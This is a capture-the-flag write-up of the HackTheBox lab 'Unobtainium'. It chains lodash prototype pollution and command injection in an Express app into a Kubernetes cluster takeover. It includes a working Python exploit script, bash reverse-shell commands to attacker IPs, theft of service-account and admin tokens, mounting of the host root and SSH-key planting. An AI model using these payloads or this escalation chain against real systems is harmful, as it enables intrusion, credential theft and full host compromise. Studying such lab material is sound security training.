Home Hackthebox - Unobtainium
Post
Cancel

Hackthebox - Unobtainium

x00tex

Enumeration

IP-ADDR: 10.10.10.235 unobtainium.htb

nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
|   256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_  256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp    open  http             Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after:  2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
| tls-nextprotoneg: 
|_  h2
2380/tcp  open  ssl/etcd-server?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after:  2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
| tls-nextprotoneg: 
|_  h2
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
# ...[snip] ...
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-05-30T07:10:33
|_Not valid after:  2022-05-31T07:10:33
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Not valid before: 2021-01-17T05:37:08
|_Not valid after:  2022-01-17T05:37:08
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open  http             Node.js Express framework
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • In first visit, Don’t find anything interesting anywhere. Only Apache httpd on port 80 contains a downloadable archive.

Foothold

Reversing Electron application deb package

Unzip downloaded archive gets a deb package. we can use dpkg to view control information of the deb package. get from here

Found Some information

  • Hostname: unobtainium.htb
  • Username: felamos@unobtainium.htb

Extract files from deb file with ar utility.

1
ar -xv unobtainium_1.0.0_amd64.deb

control.tar.gz archive contains scripts used by package installer to install binaries.

1
2
3
4
5
6
tar -xvf control.tar.gz
./
./postinst
./postrm
./control
./md5sums

From these tar archives get some information about that package.

data.tar.xz contains all executable binaries under ./opt/unobtainium folder.

All Electron framework creates An asar archive is a simple tar-like format that concatenates files into a single file to mitigate issues around long path names, slightly speed up require and conceal your source code from cursory inspection.Electron can read arbitrary files from it without unpacking the whole file.

We can find that file in ./opt/unobtainium/resources and Extract it with asar. get from here

only interesting file found on application source code is todo,js

Found interesting information

  • User creds: felamos:Winter2021
  • this script sending post request to /todo and requesting for a txt file.

If we go to “TODO” in the app, we get the todo list.

Intercepting application traffic on burp by setting http_proxy environment variable. get from here

1
export http_proxy=127.0.0.1:8080

Intercepting /todo request, and changing "filename":"todo.txt" value. gets an error with empty value.

after some try, get some idea that we are currently /usr/src/app/ here and we can not go anywhere from here, but we can read any file inside that directory.

try to Read for ./index.js file

Get some interesting information from index.js file

  • There are 2 user, in this application, admin user password is random, so not possible to get it.

  • There is a another endpoint /upload

    • But it is checking for user.canUpload and only admin can upload. So this never gonna possible.

Don’t find anything in index.js that can be exploitable.

Next Checking package.json for any outdated or vulnerable dependencies used by this application and found 2 dependencies and both are outdated and vulnerable.

Prototype Pollution

  1. lodash: 4.17.4 is vulnerable for Prototype Pollution Vulnerability, CVE-2018-16487: snyk Vulnerability DB, in lodash <4.17.11 functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of Object.prototype.
  • And we can verify this from index.js file that put method when sending message it uses _.merge

  • Exploit PoC from Kirill89@github.com

Exploit

  • We can use Prototype Pollution Vulnerability to enable canUpload for user felamos

    1
    
    {"auth":{"name":"felamos","password":"Winter2021"},"message":{"text": "test", "__proto__": {"canUpload": true}}}
    

Command injection

  1. google-cloudstorage-commands : 0.0.1 CVE-2020-28436: snyk Vulnerability DB, Affected versions of this package are vulnerable to Command Injection from upload function. If we check source code of this library, it is using exec function to upload file.
  • And we can verify this from index.js file that /upload is using upload() function.

  • PoC Found on snyk Vulnerability DB

Exploit

  • now we can Use /upload endpoint with user “felamos” credentials to inject system command into upload() function from filename parameter.

    1
    
    {"auth":{"name":"felamos","password":"Winter2021"},"filename":"& <command>"}
    

Automate script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import argparse
import json
import requests as r
import sys

parser = argparse.ArgumentParser()
url = 'http://10.10.10.235:31337'


def read_file(file):
    data = {"auth": {"name": "felamos", "password": "Winter2021"}, "filename": f"{file}"}
    jsonify = json.dumps(data)
    headers = {'Content-type': 'application/json', 'Accept': 'application/json, text/javascript, */*; q=0.01'}
    rspn = r.post(f'{url}/todo', data=jsonify, headers=headers)
    cleaned = rspn.text.replace('\\n', '\n').replace('\\', '')
    return cleaned


def send_proto():
    data = {"auth": {"name": "felamos", "password": "Winter2021"},
            "message": {"text": "Prototype_Pollution", "__proto__": {"canUpload": True}}}
    jsonify = json.dumps(data)
    headers = {'Content-type': 'application/json', 'Accept': 'application/json, text/javascript, */*; q=0.01'}
    rspn = r.put(url, data=jsonify, headers=headers)
    return rspn.text


def exec_cmd(cmd):
    data = {"auth": {"name": "felamos", "password": "Winter2021"}, "filename": f"& {cmd}"}
    jsonify = json.dumps(data)
    headers = {'Content-type': 'application/json', 'Accept': 'application/json, text/javascript, */*; q=0.01'}
    rspn = r.post(f'{url}/upload', data=jsonify, headers=headers)
    return rspn.text


parser.add_argument('-r', '--read-file', help="<filename> Read file, Only application files")
parser.add_argument('-U', action='store_true', help="Enable file Upload")
parser.add_argument("-c", '--command', help="Send blind System Command")
args = parser.parse_args()

if __name__ == "__main__":
    try:
        if args.read_file:
            print(read_file(args.read_file))
        elif args.U:
            print(send_proto())
        elif args.command:
            print(exec_cmd(args.command))
        else:
            print(f"[-] Try python {sys.argv[0]} -h")
    except KeyboardInterrupt:
        print('User has exited the program')

And finally get reverse shell

1
❯ python exploit.py -c '/bin/bash -c "bash -i >& /dev/tcp/10.10.15.71/4141 0>&1"'

Privesc

  • We are inside kubentes container
    1
    
    [+] Container Platform ...... kubentes
    

There is a crontab /var/spool/cron/crontabs/root running from root inside container

This crontab is removing any file/binary with name “kubectl”. That means this container don’t want us to install kubectl command in this container.

Kubernetes

Kubernetes is an open-source container orchestration platform that enables the operation of an elastic web server framework for cloud applications. Source vmware.com

Cluster: A Kubernetes cluster is a set of nodes that run containerized applications. Multiple computer network or a supercomputer with tone of resources divided into small nodes.

Node: Kubernetes runs your workload by placing containers into Pods to run on Nodes. A node may be a virtual or physical machine, depending on the cluster.

Pods: Pod is similar to a group of Docker containers with shared namespaces and shared filesystem volumes.

Containers: A container is a standard unit of software that packages up code and all its dependencies required for a application to run.

Service Account

From hacktricks notes

ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod. Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.

Usually in the directory /run/secrets/kubernetes.io/serviceaccount or /var/run/secrets/kubernetes.io/serviceaccount you can find the files:

  • ca.crt: It’s the ca certificate to check kubernetes communications
  • namespace: It indicates the current namespace
  • token: It contains the service token of the current pod.

Kubectl

  • https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
  • https://book.hacktricks.xyz/pentesting/pentesting-kubernetes/

Connect to Kubernetes api

Found blog for create kubeconfig

  • token came from /run/secrets/kubernetes.io/serviceaccount/token
  • certificate-authority-data came form /run/secrets/kubernetes.io/serviceaccount/ca.crt in base64 encoded format
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
kind: Config
users:
- name: poorduck
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tZ3YycHEiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQwODNiNTAyLWU0ZGMtNGZiMC1iNzU1LTY0ZmU3ZGVkMzcxNSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.mmkqCtOB3qHPkdybHAJuaLGpQk01UGqecZZO9TfMMeO02PO2CfXoeuRyR1I0BDmyJlxuzuDZdl0k6i0AsQF4DU3Ow_Rm-YZ5cIWDVV3tfuWIA0PvJsmlJqDC4X4OmbOIULLw4i5ckWO_0I35OhlRRLumnaRRrJKFaRnWA1H-zRyAPF3fBGtUuFJecHLNTOaDMyffvBCcblT5z4jjC7V4jKKG05NUNY4UNvvtCiFfevoeTfUzJ4L2dFtkOkHV8k_nC__eJu-CqOvLQlNAWgnJvhNLry_5IVGPxos80R0IC8gOto5bFx0WsSj5av56ff_1UsnDD68IG9uHdinOZC4xvA
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUM1ekNDQWMrZ0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwdGFXNXAKYTNWaVpVTkJNQjRYRFRJeE1ERXdOekV6TWpRME9Wb1hEVE14TURFd05qRXpNalEwT1Zvd0ZURVRNQkVHQTFVRQpBeE1LYldsdWFXdDFZbVZEUVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTVRDCmozSE9PMXRhaE1PUHpkNjhuYUtoQmVpYUFaM2lxdC9TY25lZ1RnbEttdHo1RGFnRUQ1WWFqWk0rVXl2UEVxUSsKdSttYjFaYzFLYnJjMkZnM0M0OEJZN09JUDZHZk9YOTkwUERLSmhxWnRhT0FkY1U1R2ExYXZTK2wzZG82VjJrQwplVnN0d1g2U1ZJYnpHSkVVeE1VUGlac0Z0Nkhzdk43aHRQMVA1Z2V3d3Rnc1ZJWER5TGwvZVJmd0NuMlpXK24zCk5nQzRPSTg0empWSHBYbVhGYUdzZURIYi9FNHdLL04waE1EMERFVlBKc0VPb2dITTlMbmRVZ3lKbWhBdFdiRWoKMjUrSDhBd1FpMy84UFlORXNtdFNBVUV1V3RZMzZweC9zRDVDdGhpTmxOcGtCNXQ1YzFHSzkwRG15b2ZxQmdZdgo5d2tDTkdHWktwM0F4TU1OMm5zQ0F3RUFBYU5DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trTUIwR0ExVWRKUVFXCk1CUUdDQ3NHQVFVRkJ3TUNCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC9NQTBHQ1NxR1NJYjMKRFFFQkN3VUFBNElCQVFBSEpqbzhVYzNTSDFVbnNLU3daSlR1eWozNlcvbXNiTXIwcFNuM2RsRTZCb3V1a2hGMwo5R3htVmEyYW40L1ZGSmtBc1pTcUZVejFlNTJxdkpvRkpjWGVjNE1pTjZHWlRXdVVBOUQvanFpYXBuSFdlTzh4ClJHazRXTjY2WnJhTTBYM1BxYUhvK2NiZmhLT2xMOWprVXh2RSszQld1ajlwbHlEM245dEZlM2xuYXNEZnp5NE0KcTQ2NWl4UFpxRnFWY2h4UUZRK3BaMjRLaXFvUVc0bWFtL3g1RlB5MTMrTXc4SjR6Yjh2TGR1dkxRUjN3cFVHYgp2S1hkbktPTFdzaUV4eXJqcFpqWmJZQkw4YjcwNVhGRkd2bWFicDIxYUc4cHNCMVh2c0xpR0ZRRXF5RGZlRlJXCmhsN0twVUlTbDQrTnA1c0FpWE53dGJTREUrMjJRVnRaYnVEbgotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0t
    server: https://10.10.10.235:8443/
  name: unobtainium-cluster
contexts:
- context:
    cluster: unobtainium-cluster
    user: poorduck
  name: context
current-context: context
preferences:
  colours: true

Save this config file in the ~/.kube/config and then we can access to Kubernetes api from our machine.

Enumeration

Follow-up with hacktricks notes

Check if we can read secret from current pod, but we don’t

1
kubectl get secrets -o yaml -n kube-system

namespace: Kubernetes supports multiple virtual clusters backed by the same physical cluster. These virtual clusters are called namespaces.

1
kubectl get namespaces

There is a virtual clusters “dev”

Checking permission of Current Privileges in kubeernetes api, we can list “dev” cluster pods.

1
kubectl auth can-i --list -n dev

1
kubectl get pods -n dev

If we check one of the pod information, we can see that all pods are running a node application on port 3000. These are the replicas of the application that is running on public port 31337, Where we found the prototype pollution and command injection.

1
kubectl describe pod <pod_name> -n dev

We can verify that this is the same app by sending same todo request.

1
curl -s -X POST 'http://172.17.0.6:3000/todo' --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename": "todo.txt"}' -H 'Content-type: application/json'

Root shell in Dev

Setup socat listener to redirect local reverse shell to our machine.

1
./socat tcp-l:8080 tcp:10.10.14.15:443 &

Exploit Prototype Pollution to enable upload funcnality

1
curl -s -X PUT 'http://172.17.0.10:3000' --data '{"auth": {"name": "felamos", "password": "Winter2021"},"message": {"text": "Prototype_Pollution", "__proto__": {"canUpload": true}}}' -H 'Content-type: application/json'

Exploit Command injection to get reverse shell

1
curl -s -X POST 'http://172.17.0.10:3000/upload' --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& /bin/bash -c \"bash -i >& /dev/tcp/172.17.0.5/8080 0>&1\""}' -H 'Content-type: application/json'

Replace kubeconfig token with current pod token

and From this pod’s Current Privileges kubectl auth can-i --list, We can read kubernetes secrets and found admin token

1
kubectl get secrets -o yaml -n kube-system

kubernetes with admin token

Now if we check Current Privileges again from admin token, there is a extra rule and with that we can do all commands on all resources

with that we can edit cluster deployment config file and mount host root in the pod.

Edit webapp-deployment deployment config file.

1
kubectl edit deployment webapp-deployment

in webapp-deployment there is already a host volume /opt/user/ is mounted in the deployment /root

here we can simply edit hostpath and replace with / and get host root filesystem in the container’s /root

after edited check if deployment get restarted and new pods generated.

1
kubectl get pods --all-namespaces

Here new problem comes, After adding host root filesystem in webapp-deployment, this cluster died in every minute and regenerate new pods again

there seems to be a cron killing containers every minute.

We can put ssh key in the host /root after mounted in the pod under one minute and then ssh in.

Check new generated pod name with kubectl get pods --all-namespaces

get inside that pod

1
kubectl exec -it webapp-deployment-7bd959c968-flvg2 -- bash

And put ssh key

1
2
3
4
mkdir /root/root/.ssh
chmod 700 /root/root/.ssh
echo "<id_rsa.pub>" > /root/root/.ssh/authorized_keys
chmod 600 /root/root/.ssh/authorized_keys

This post is licensed under CC BY 4.0 by the author.